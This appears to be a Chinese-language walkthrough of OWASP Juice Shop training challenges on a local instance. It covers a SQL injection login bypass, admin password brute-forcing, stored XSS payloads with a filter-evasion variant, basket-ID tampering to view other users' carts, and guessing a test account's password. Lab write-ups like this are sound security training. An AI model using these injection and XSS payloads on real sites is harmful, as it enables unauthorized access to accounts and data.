Login Admin 使用管理员登录
在登录页面 http://127.0.0.1:3000/#/login
邮箱：' or 1=1--
密码：任意
Password Strength 不适用sql注入登录管理员账号
对用户名为admin@juice-sh.op；抓取流量并对其进行爆破
Admin Section访问管理页面
猜测：admin administration manager 等
http://127.0.0.1:3000/#/administration
Classic Stored XSS 在应用的传统页面上使用代码
设置用户名为<script>alert(`xss`)</script>
但是发现回显并不正常，可能是被过滤的原因
测试了：
<ScRipt>ALeRt(“XSS”);</sCRipT>
“><script>alert(“Hi”);</script> 等都被过滤
最后：
<<a|ascript>alert(`xss`)</script> # | 是位运算符 含义为：OR
Five-Star Feedback 删除所有5星反馈
进入http://127.0.0.1:3000/#/administration 删除所有5星好评即可
Deprecated Interface 使用已废弃但未正常关闭的B2B接口
直接上传一个XML文件即可
View Basket 查看其他用户的购物车
添加一件物品进入购物车，查看Application->session storage 修改bid
修改之前
修改之后
Security Policy 开始行动之前任何行为都应该像"白帽"一样
访问https://securitytxt.org/ 了解要求与标准 .well-known/security.txt
进入http://127.0.0.1:3000/.well-known/security.txt即可
Login MC SafeSearc 使用MC SafeSearch账号密码登录
谷歌“MC SafeSearch”会发现音乐视频“Protect Ya’ Passwordz”。看视频得知MC用他的狗的名字“Mr. Noodles”作为密码，但把“一些元音变成了零”。所以密码为“Mr. N00dles”，登录MC账号即可
mc.safesearch@juice-sh.op
Mr. N00dles